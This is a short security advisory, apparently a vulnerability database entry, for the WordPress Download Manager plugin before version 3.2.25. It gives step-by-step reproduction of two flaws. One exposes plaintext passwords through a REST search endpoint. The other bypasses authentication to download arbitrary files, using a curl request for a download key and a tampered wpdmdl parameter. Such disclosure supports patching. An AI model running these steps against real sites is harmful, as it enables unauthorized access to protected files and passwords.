Wordpress Download Manager < 3.2.25 - Sensitive Information Disclosure

Expose plaintext passwords (fixed in 3.2.24):

- Add a new file and password protect the post from the "publish" box.
- Got to https://example.com/wp-json/wpdm/search and notice that the password is exposed in plaintext to unauthenticated users.

Bypass authentication to download files (fixed in 3.2.25):
- Obtain a download key (_wpdmkey ) with curl --data "" https://example.com/wp-json/wpdm/validate-password
- Use it to download arbitrary files by tampering with the wpdmdl parameter, ie: https://example.com/wp-json/wpdm/validate-password?wpdmdl=42&_wpdmkey=XXX